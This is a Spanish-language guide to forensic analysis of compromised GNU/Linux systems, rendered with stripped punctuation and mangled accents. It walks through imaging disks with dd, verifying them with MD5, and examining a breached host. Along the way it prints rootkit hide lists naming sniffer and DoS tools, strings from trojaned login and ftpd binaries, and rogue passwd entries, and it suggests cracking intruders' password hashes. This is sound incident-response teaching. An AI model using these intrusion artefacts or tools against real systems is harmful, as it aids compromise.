30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 11: Análisis Forense de Sistemas GNU/Linux, Unix

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

